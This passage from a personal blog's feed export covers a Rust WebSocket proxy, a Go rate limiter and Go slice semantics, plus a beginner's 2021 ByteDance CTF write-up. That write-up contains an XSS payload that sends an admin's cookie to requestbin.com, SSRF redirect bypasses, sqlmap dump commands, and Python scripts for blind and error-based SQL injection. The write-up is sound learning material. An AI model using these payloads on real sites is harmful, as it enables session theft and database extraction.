id="Implementing-AsyncRead-AsyncWrite-for-WebSocketStream"><a href="#Implementing-AsyncRead-AsyncWrite-for-WebSocketStream" class="headerlink" title="Implementing AsyncRead + AsyncWrite for WebSocketStream"></a>Implementing AsyncRead + AsyncWrite for WebSocketStream</h3><p>There are many aspects of <a href="https://github.com/snapview/tokio-tungstenite">tokio_tungstenite</a>‘s design that seem strange to me. On the client side, whether you want to establish a TLS or non-TLS connection, you always get <code>WebSocketStream&lt;MaybeTlsStream&lt;TcpStream&gt;&gt;</code>, while the server always gets <code>WebSocketStream&lt;TlsStream&lt;TcpStream&gt;&gt;</code>. Fortunately, both MaybeTlsStream and TlsStream implement AsyncRead and AsyncWrite, so we do not have to implement these traits separately for the client and server connections.</p><p>For AsyncRead, we need to implement the poll_read method.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">AsyncRead</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_read</span>(</span><br><span class="line">        <span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;,</span><br><span class="line">        cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">        buf: &amp;<span class="keyword">mut</span> ReadBuf&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">    ) <span class="punctuation">-&gt;</span> Poll&lt;io::<span class="type">Result</span>&lt;()&gt;&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>For AsyncWrite, we need to implement poll_write, poll_flush, and poll_shutdown.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">AsyncWrite</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_write</span>(</span><br><span class="line">        <span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;,</span><br><span class="line">        cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">        buf: &amp;[<span class="type">u8</span>],</span><br><span class="line">    ) <span class="punctuation">-&gt;</span> Poll&lt;<span class="type">Result</span>&lt;<span class="type">usize</span>, io::Error&gt;&gt;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_flush</span>(<span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;, cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;) <span class="punctuation">-&gt;</span> Poll&lt;<span class="type">Result</span>&lt;(), io::Error&gt;&gt;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_shutdown</span>(<span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;, cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;) <span class="punctuation">-&gt;</span> Poll&lt;<span class="type">Result</span>&lt;(), io::Error&gt;&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>There are two points to note. When copy_bidirectional completes, it executes poll_shutdown. Since we need to reuse the underlying connection, we should not actually close the connection. Instead, we send a Close packet (telling the peer that the SOCKS5 connection it carried has ended and that it can accept a new SOCKS connection), then return <code>Poll::Ready(Ok(()))</code>. The other point is that the usize length returned by poll_write must not exceed the length of buf (see another post, <a href="/2021/09/22/record-a-weird-bug-fix-travel/">An Interesting Debugging Journey</a>, for the specific reason).</p><h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>Writing a working proxy in Rust is still quite easy, but making it sufficiently robust is difficult. There are many details to consider, especially error handling when connections behave abnormally. Next, I want to prevent dead connections from remaining in the connection pool. This requires both actively checking connection health and retrying on the client side (when the underlying connection behaves abnormally, the upper layer triggers a limited number of retries).</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;The first step toward becoming familiar with a language might be writing a proxy with it. After studying Rust syntax for a long time, I still had little opportunity to use it at work, so I had to create a need for it myself. I hope to find a job writing Rust in the future, or one that gives me the freedom to learn new things.&lt;/p&gt;
&lt;h2 id=&quot;What-are-this-proxy’s-features&quot;&gt;&lt;a href=&quot;#What-are-this-proxy’s-features&quot; class=&quot;headerlink&quot; title=&quot;What are this proxy’s features?&quot;&gt;&lt;/a&gt;What are this proxy’s features?&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Based on Rust&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The main purpose is to practice writing Rust. Rust is also safe and efficient.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Based on TLS WebSocket&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Getting past the mysterious wall requires an encrypted connection; otherwise, it can easily get killed. A common approach, like the one used by Shadowsocks, is to define a custom encryption protocol, but that is rather troublesome. To keep things simple, I used TLS WebSocket directly for this purpose.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pooled WebSocket connections&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The benefits of connection pooling hardly need explaining. Eliminating connection establishment time makes the proxy faster.&lt;/p&gt;
&lt;p&gt;The overall proxy flow looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/jlSE51Z.png&quot; alt=&quot;Rust proxy pipeline&quot;&gt;&lt;/p&gt;
&lt;p&gt;Source code: &lt;a href=&quot;https://github.com/suikammd/rust-proxy&quot;&gt;https://github.com/suikammd/rust-proxy&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>2021 ByteDance CTF Writeup</title>
    <link href="https://suikammd.github.io/2021/08/15/2021-bytedance-ctf/"/>
    <id>https://suikammd.github.io/2021/08/15/2021-bytedance-ctf/</id>
    <published>2021-08-15T13:35:33.000Z</published>
    <updated>2026-11-19T12:58:15.308Z</updated>
    
    <content type="html"><![CDATA[<p>A beginner’s first CTF experience. Many thanks to Hai for the patient guidance!</p><p>The problem categories included SQL injection, SSRF, XSS, privilege bypass, information disclosure, and Android. Most categories created by ByteDance contained multiple problems of progressively increasing difficulty. For example, in SQL injection, the first problem showed you the Golang source code, so you could directly see how Gorm concatenated strings. The later problems gradually revealed less information to participants.</p><p>Useful tools:</p><ol><li>Use burp as a proxy to capture packets. Configure requests in repeater, where you can freely modify request parameters for testing.</li><li>sqlmap is a powerful tool for solving SQL injection problems.</li><li>requestbin.com lets you create bins at will to receive test requests.</li><li>cloudflare worker lets you quickly create test services.</li></ol><span id="more"></span><h4 id="SSRF"><a href="#SSRF" class="headerlink" title="SSRF"></a>SSRF</h4><ol><li><p>The flag we wanted was at 127.0.0.1:8080&#x2F;flag, but the server restricted direct access to 127.0.0.1. We guessed that it might reject input addresses containing 127 (including a host of 127.0.0.1), reject hosts that resolved to 127, or, more strictly, disable Follow and forbid 301&#x2F;302 redirects to 127. Based on these guesses, we could make the following attempts:</p><p>(1) Writing 127 directly in the host would certainly be rejected.</p><p>(2) We found a domain name that resolved to 127, but the submission was still rejected. This showed that the server rejected both input addresses containing 127 and domain names that resolved to 127.</p><p>(3) We tried whether a 301&#x2F;302 redirect to 127 was possible. Here, we could use our own domain name to provide an external service. When it received a request, it would return a 302&#x2F;301 response and set Location to 127.0.0.1:8080&#x2F;flag. It was also best to change XFF to 127.0.0.1. The server validation then passed, and we could retrieve the flag normally. Our solution was to use cloudflare workers for this purpose. This worker can be understood as an ordinary cloud function that can be created, modified, and published at will.</p><p>Taking this thought a little further, what if Follow were banned? One rather tricky solution was to continue using a cloudflare worker, but instead of blindly returning a 30x redirect to 127 every time, return the 30x redirect to 127 probabilistically. This gave us a chance of avoiding the server ban, after which we could switch back to always returning a 30x redirect.</p></li><li><p>The server only allowed one particular domain name as input (which did not exist at all).</p><p>We needed to think about how the person who wrote the service would process the input URL (if they used a library, there would be no vulnerability at all). Considering the standard URL definition—scheme + :&#x2F;&#x2F; + username:password@domain:port&#x2F;path?query—we could try putting the required domain name in the username. Sure enough, it worked!</p></li></ol><h4 id="XSS"><a href="#XSS" class="headerlink" title="XSS"></a>XSS</h4><p>The original problem set contained three problems of progressive difficulty.</p><p>The first involved submitting a message and then submitting its message ID to admin for review. There were no restrictions on the input, so we could write a JS script directly. When the administrator viewed the input, we could obtain their document.cookie through</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=&lt;<span class="attr">requestbin.com</span>&gt;</span>&gt;</span><br></pre></td></tr></table></figure><p>We simply needed to put document.cookie in the query.</p><p>Here is a brief introduction to requestbin: it lets you quickly create a bin that receives arbitrary requests.</p><p>The second problem also involved submitting a message, but JS keywords were prohibited in the message content. However, we noticed a new avatar next to the username in the upper-right corner of the page. Clicking it revealed that avatars could be uploaded. Using burp to capture the avatar upload request, we found that the only avatar restriction concerned the file extension: only some extensions were forbidden, and many arbitrary extensions (such as *.adafd) could be uploaded. As in the previous problem, we could therefore write the same content into the file and successfully obtain the flag.</p><p>I did not solve the third problem; I still need to think more deeply.</p><h4 id="SQL-Injection"><a href="#SQL-Injection" class="headerlink" title="SQL Injection"></a>SQL Injection</h4><p>I also left one of the four SQL injection problems unsolved. The first problem provided the source code directly to participants, the second told you that a particular username definitely existed, and the third told you which parameters in the query could be exploited.</p><p>First, an introduction to sqlmap. It can solve most SQL injection problems, as shown below.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag -C flag</span><br></pre></td></tr></table></figure><p>We could also proceed step by step and inspect the state of the database.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --tables</span><br><span class="line">python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF</span><br><span class="line">python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag</span><br><span class="line">python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag -C flag</span><br></pre></td></tr></table></figure><p>The first problem directly revealed the source code. The injection point was in order by, and time-based blind injection could be used to infer the database’s table structure and contents. If the if condition was satisfied, the query would sleep for 2 seconds, causing the request to time out and enter the exception handler. At that point, we could conclude that j was the ASCII code of a matching character. Pay attention to the placement of parentheses, especially in mid, where the select statement needs to be enclosed in parentheses.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://10.92.20.150:8287/&quot;</span></span><br><span class="line">params = &#123;</span><br><span class="line">    <span class="string">&quot;content&quot;</span>: <span class="string">&quot;%&quot;</span>,</span><br><span class="line">    <span class="string">&quot;order&quot;</span>: <span class="string">&quot;&quot;</span></span><br><span class="line">&#125;</span><br><span class="line">flag = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">100</span>):</span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>, <span class="number">127</span>):</span><br><span class="line"><span class="comment"># params[&#x27;order&#x27;] = &quot;if(ascii(mid((select group_concat(table_name) from information_schema.TABLES where table_schema=DATABASE()), &#123;&#125;, 1))=&#123;&#125;, SLEEP(2), 0)&quot;.format(str(i),str(j)) // Retrieve all table names</span></span><br><span class="line"><span class="comment"># params[&#x27;order&#x27;] = &quot;if(ascii(mid((select group_concat(column_name) from information_schema.COLUMNS where table_name=&#x27;flag&#x27;), &#123;&#125;, 1))=&#123;&#125;, SLEEP(2), 0)&quot;.format(str(i),str(j)) // Retrieve the column names in the flag table</span></span><br><span class="line">params[<span class="string">&#x27;order&#x27;</span>] = <span class="string">&quot;if(ascii(mid((select flag from flag),&#123;&#125;,1))=&#123;&#125;, sleep(2), 0)&quot;</span>.<span class="built_in">format</span>(<span class="built_in">str</span>(i), <span class="built_in">str</span>(j)) // Retrieve the flag</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">requests.get(url, params=params, timeout=<span class="number">2</span>)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">flag += <span class="built_in">chr</span>(j)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>The second problem indicated that id was the injection point and that error messages were returned, so we could use the updatexml feature to obtain the information we wanted.</p><p>Testing revealed an unmatched closing parenthesis in the error message, so we guessed that the statement might look like this:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from news where id=(...)</span><br></pre></td></tr></table></figure><p>The part after the opening parenthesis was injectable, so we could consider closing the parenthesis.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from news where id=(1) ... -- </span><br></pre></td></tr></table></figure><p>We could then use updatexml.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// Retrieve all table names</span><br><span class="line">and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_name=database()), 0x7e), 1) -- </span><br><span class="line">// Retrieve all database names</span><br><span class="line">and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name=&#x27;flag&#x27;), 0x7e), 1) -- </span><br><span class="line">// Retrieve the first 20 characters of the flag (the error output has a length limit)</span><br><span class="line">and updatexml(1, concat(0x7e, (select group_concat(mid(flag, 1, 20)) from flag), 0x7e), 1) -- </span><br><span class="line">// Retrieve the last 20 characters of the flag</span><br><span class="line">and updatexml(1, concat(0x7e, (select group_concat(mid(flag, 21, 20)) from flag), 0x7e), 1) -- </span><br></pre></td></tr></table></figure><p>The third problem told you that an admin user existed. Capturing packets with burp showed that the interface looked like this:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">POST /get</span><br><span class="line">&#123;</span><br><span class="line">&quot;uanme&quot;: &quot;admin&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">返回</span><br><span class="line">&#123;</span><br><span class="line">&quot;message&quot;: &quot;find user&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>We then tried the following requests to infer the possible SQL statement:</p><ol><li><code>admin&#39; -- </code> returned no user find, showing that we could not blindly comment out the rest of the statement; there might be other unclosed parentheses.</li><li><code>admin&#39; and &#39;1</code> returned find user.</li><li><code>admin&#39;) -- </code> returned find user normally, confirming that there were indeed unclosed parentheses.</li></ol><p>The rest could be handled in the same way as the second problem.</p><p>In the fourth problem, entering id&#x3D;1 and id&#x3D;2-1 produced the same result, showing that id was the injection point and that the query could retrieve the data for id&#x3D;1. However, attempts to use union select produced an invalid-input-character message, and we eventually discovered that select was forbidden. At this point, we should recognize that the MySQL version must be 8.x; otherwise, cross-table queries would be essentially impossible once select was forbidden.</p><ol><li>Use <code>ascii(mid(database(),&#123;&#125;,1))=&#123;&#125;</code> to obtain the database name (in fact, it was fine not to obtain it, because knowing the database was not very useful).</li><li>Inspect which tables the current database contains.</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">def get_table_name():</span><br><span class="line">table = &quot;&quot;</span><br><span class="line">for i in range(1, 50):</span><br><span class="line">for j in range(32, 127):</span><br><span class="line">params[&quot;id&quot;] = &quot;1) and (&#x27;def&#x27;, DATABASE(), &#x27;&#123;&#125;&#123;&#125;&#x27;, &#x27;&#x27;, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) &gt; (table information_schema.tables limit 327,1&quot;.format(table, chr(j))</span><br><span class="line">r = requests.get(url, params=params)</span><br><span class="line">if &quot;this is news123&quot; in r.text:</span><br><span class="line">table += chr(j - 1)</span><br><span class="line">print(table, chr(j - 1))</span><br><span class="line">break</span><br><span class="line">print(table)</span><br><span class="line"></span><br><span class="line">def get_column_name():</span><br><span class="line">column</span><br></pre></td></tr></table></figure><ol start="3"><li>Generally, the flag table has only one column. We could test this with <code>1) and (&#39;&#39;)&lt;(table fflll444g limit 0,1</code>. It returned correctly, so we confirmed that flag had only one column.</li><li>Use Boolean-based blind injection to obtain the flag, or use union values row(1, (table fflll444g)).</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;A beginner’s first CTF experience. Many thanks to Hai for the patient guidance!&lt;/p&gt;
&lt;p&gt;The problem categories included SQL injection, SSRF, XSS, privilege bypass, information disclosure, and Android. Most categories created by ByteDance contained multiple problems of progressively increasing difficulty. For example, in SQL injection, the first problem showed you the Golang source code, so you could directly see how Gorm concatenated strings. The later problems gradually revealed less information to participants.&lt;/p&gt;
&lt;p&gt;Useful tools:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use burp as a proxy to capture packets. Configure requests in repeater, where you can freely modify request parameters for testing.&lt;/li&gt;
&lt;li&gt;sqlmap is a powerful tool for solving SQL injection problems.&lt;/li&gt;
&lt;li&gt;requestbin.com lets you create bins at will to receive test requests.&lt;/li&gt;
&lt;li&gt;cloudflare worker lets you quickly create test services.&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    
    <category term="ctf" scheme="https://suikammd.github.io/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>Rate Limiter</title>
    <link href="https://suikammd.github.io/2020/12/11/restrictor/"/>
    <id>https://suikammd.github.io/2020/12/11/restrictor/</id>
    <published>2020-12-11T03:06:18.000Z</published>
    <updated>2026-11-19T12:58:15.310Z</updated>
    
    <content type="html"><![CDATA[<p>Rate limiters primarily prevent highly concurrent traffic from overwhelming a service. Common rate-limiting algorithms include counters, token buckets, and leaky buckets. A token bucket directly rejects requests when there are insufficient tokens, while a leaky bucket blocks requests when there are insufficient requests. This article implements a rate limiter that allows a moderate amount of burst traffic. This is just for fun, so please don’t criticize my crude implementation.</p><span id="more"></span><h4 id="Counter"><a href="#Counter" class="headerlink" title="Counter"></a>Counter</h4><p>Counter-based rate limiters are relatively simple: you simply check whether the number of requests in the window has reached the limit. A background process is also needed to reset the request count for the window periodically.</p><ol><li><p>Fixed window </p><p>Limit the number of requests per unit of time. For example, with a QPS of 1k, check whether the count reaches 1k within 1 second. Once it does, reject requests; after 1 second, reset the counter.</p><p>(1) A goroutine is needed to reset the counter every second, using time.Ticker.</p><p>(2) For every incoming request, check whether the counter has reached its limit. If it has, reject the request; otherwise, process it. Concurrent requests must acquire a lock before modifying the counter.</p></li><li><p>Sliding window</p><p>A sliding window can divide a fixed window more finely. For example, requests over 1 second can be split across 1,000 buckets, with each bucket representing a 1 ms time range.</p><p>(1) Each bucket independently maintains the number of requests in its current time range. When a request arrives, all buckets must be traversed to calculate the total number of requests.</p><p>(2) A scheduled task is needed to remove one bucket and add a new one every 1 ms. A doubly linked list can be used for this, with each bucket corresponding to a node in the list.</p><p>The data structures needed to implement the sliding-window version are shown below. The start and end times of Node are used to</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Node <span class="keyword">struct</span> &#123;</span><br><span class="line">next    *Node</span><br><span class="line">counter <span class="type">int</span></span><br><span class="line"></span><br><span class="line">start time.Time</span><br><span class="line">end   time.Time</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> LinkedList <span class="keyword">struct</span> &#123;</span><br><span class="line">Size <span class="type">int</span></span><br><span class="line">Head *Node</span><br><span class="line">Tail *Node</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> SlidingCounter <span class="keyword">struct</span> &#123;</span><br><span class="line">Limit    <span class="type">int</span></span><br><span class="line">interval <span class="type">int</span></span><br><span class="line">list     *LinkedList</span><br><span class="line"></span><br><span class="line">Ticker *time.Ticker</span><br><span class="line">stopCh <span class="keyword">chan</span> <span class="type">bool</span></span><br><span class="line"></span><br><span class="line">sync.Mutex</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ol><h4 id="Token-bucket"><a href="#Token-bucket" class="headerlink" title="Token bucket"></a>Token bucket</h4><p>As its name suggests, a token bucket works as follows: when a request arrives, it can proceed if it obtains a token; otherwise, it is rejected. Here, I need a background process that periodically puts tokens into the token bucket, ensuring that the token count within the time window always remains at the maximum limit. This is convenient to implement in Go: just use a buffered channel.</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Bucket <span class="keyword">struct</span> &#123;</span><br><span class="line">limit  <span class="type">int</span></span><br><span class="line">bucket <span class="keyword">chan</span> <span class="type">bool</span></span><br><span class="line"></span><br><span class="line">ticker *time.Ticker</span><br><span class="line">stopCh <span class="keyword">chan</span> <span class="type">bool</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="Leaky-bucket"><a href="#Leaky-bucket" class="headerlink" title="Leaky bucket"></a>Leaky bucket</h4><p>A leaky bucket can accept a certain amount of burst traffic, but its processing rate is fixed. For example, with a QPS of 1k&#x2F;s, a scheduled task can put data into a buffered channel every 1 ms, ensuring a fixed processing rate. I won’t implement it here; it can be done by modifying the token bucket implementation slightly.</p><p>My implementations above are all fairly rough. The proper way to use a real rate limiter is through <code>RateLimiter.take()</code>: if acquisition succeeds, the request can be processed.</p><p>See the code for details: <a href="">rate-limiter</a></p><h4 id="Mainstream-rate-limiter-implementations"><a href="#Mainstream-rate-limiter-implementations" class="headerlink" title="Mainstream rate limiter implementations"></a>Mainstream rate limiter implementations</h4><p>My implementation can be understood as placing tokens on a schedule, while the mainstream approach calculates how many tokens are available when a request arrives. Go’s official extension package <code>github/go/time</code> is based on a token bucket, while Uber’s open-source library is based on a leaky bucket.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Rate limiters primarily prevent highly concurrent traffic from overwhelming a service. Common rate-limiting algorithms include counters, token buckets, and leaky buckets. A token bucket directly rejects requests when there are insufficient tokens, while a leaky bucket blocks requests when there are insufficient requests. This article implements a rate limiter that allows a moderate amount of burst traffic. This is just for fun, so please don’t criticize my crude implementation.&lt;/p&gt;</summary>
    
    
    
    
    <category term="Golang" scheme="https://suikammd.github.io/tags/Golang/"/>
    
  </entry>
  
  <entry>
    <title>Understanding How Go Passes Slices to Functions</title>
    <link href="https://suikammd.github.io/2020/11/11/golong-slice-function/"/>
    <id>https://suikammd.github.io/2020/11/11/golong-slice-function/</id>
    <published>2020-11-11T07:30:34.000Z</published>
    <updated>2026-11-19T12:58:15.310Z</updated>
    
    <content type="html"><![CDATA[<p>When I first started learning Go, what puzzled me most was passing slices to functions: had the slice changed or not? I recently discovered that some of my colleagues were not clear about this either, so I decided to take a closer look at whether modifying a slice passed to a function changes the original slice.</p><h4 id="Slice-structure"><a href="#Slice-structure" class="headerlink" title="Slice structure"></a>Slice structure</h4><p>I’ll start with the structure of a slice. As you can see, a slice is actually backed by an array.</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> slice <span class="keyword">struct</span> &#123;</span><br><span class="line">array unsafe.Pointer</span><br><span class="line"><span class="built_in">len</span>   <span class="type">int</span></span><br><span class="line"><span class="built_in">cap</span>   <span class="type">int</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> SliceHeader <span class="keyword">struct</span> &#123;</span><br><span class="line">Data <span class="type">uintptr</span></span><br><span class="line">Len  <span class="type">int</span></span><br><span class="line">Cap  <span class="type">int</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><span id="more"></span><h4 id="Function-passing"><a href="#Function-passing" class="headerlink" title="Function passing"></a>Function passing</h4><p>One point needs to be clear: Go uses pass-by-value, meaning it copies values.</p><ol><li>Passing by value</li></ol><p>Example 1: </p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">modify</span><span class="params">(B []<span class="type">int</span>)</span></span> &#123;</span><br><span class="line">  <span class="keyword">for</span> i := <span class="keyword">range</span> s &#123;</span><br><span class="line">    B[i]++:</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  A := []<span class="type">int</span>&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>&#125;</span><br><span class="line">  modify(A)</span><br><span class="line">  fmt.Println(A)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>So will <code>s</code> actually change? The answer is yes, it will. But wait, didn’t we just say that Go passes values to functions? Shouldn’t it copy the slice at this point? Why, then, does the slice in the <code>main</code> function change?</p><p>The printed result is:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[<span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>]</span><br></pre></td></tr></table></figure><p>Next, I’ll use the <code>unsafe</code> package to directly compare whether the slices in the <code>main</code> and <code>modify</code> functions correspond to the same underlying array. If they share the same underlying array, then modifications in the <code>modify</code> function will obviously affect the slice in the <code>main</code> function.</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">  <span class="string">&quot;fmt&quot;</span></span><br><span class="line">  <span class="string">&quot;reflect&quot;</span></span><br><span class="line"><span class="string">&quot;unsafe&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span 